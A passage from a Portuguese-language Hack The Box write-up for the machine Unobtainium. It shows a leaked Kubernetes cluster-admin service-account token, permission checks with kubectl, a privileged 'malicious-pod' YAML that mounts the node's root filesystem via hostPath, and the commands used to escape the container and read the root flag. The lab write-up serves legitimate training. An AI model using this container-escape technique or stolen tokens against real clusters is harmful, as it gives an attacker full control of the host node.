eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
Enter fullscreen mode Exit fullscreen mode

Salvando localmente podemos utilizar para ver quais permissões conseguimos ter com este novo acesso.

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n dev --list --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
Enter fullscreen mode Exit fullscreen mode

O nome do secret era sugestivo, o output acima informa que somos cluster-admin, ou seja, conseguimos acesso como administrador do kubernetes.

Container Escape e root flag!

E agora, cade a root flag?
Nesse caso precisamos realizar um container escape e acessar o node onde esta rodando o kubernetes.

Este procedimento é muito simples uma vez que somos cluster-admin, precisamos criar um pod privilegiado e montar o seu volume no diretório / do node. Para isso vamos utilizar o yaml abaixo:

apiVersion: v1
kind: Pod
metadata:
  name: malicious-pod
spec:
  containers:
  - name: malicious-pod
    image: localhost:5000/node_server
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
Enter fullscreen mode Exit fullscreen mode

O arquivo acima irá criar um pod utilizando a mesma imagem da aplicação que ja esta rodando, pois o cluster não esta permitindo baixar imagens novas. Esse pod terá seu volume montado no diretório / e compartilhará a mesma network do host.

Para realizar o deploy na namespace dev basta executar o seguinte comando:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl apply -f pod-root.yaml -n dev --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
pod/malicious-pod created
Enter fullscreen mode Exit fullscreen mode
Podemos visualizar o novo pod rodando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME                                  READY   STATUS             RESTARTS      AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running            6 (24d ago)   448d
malicious-pod                         1/1     Running            0             15m
Enter fullscreen mode Exit fullscreen mode

Como temos permissões totais podemos acessar o novo pod via kubectl e visualizar todo seu conteúdo.

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl exec -it malicious-pod -n dev "bash" --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
root@unobtainium:/usr/src/app# pwd
/usr/src/app
Enter fullscreen mode Exit fullscreen mode

E podemos confirmar que foi montado o volume corretamente, no qual temos acesso ao diretório e a root flag:

root@unobtainium:/usr/src/app# cd /root/
root@unobtainium:~# ls -a
.   bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
..  boot  dev    home  lib32  libx32  media   opt  root  sbin  srv   tmp  var
root@unobtainium:~# cd root/
root@unobtainium:~/root# ls -a
.   .ansible       .bashrc  .kube   .profile  .viminfo  snap
..  .bash_history  .cache   .local  .ssh      root.txt
root@unobtainium:~/root# cat root.txt
dfe0e12fe8789627e0d631fcc8985b25
Enter fullscreen mode Exit fullscreen mode

Assim finalizando a máquina Unobtainium.

Image description

Top comments (0)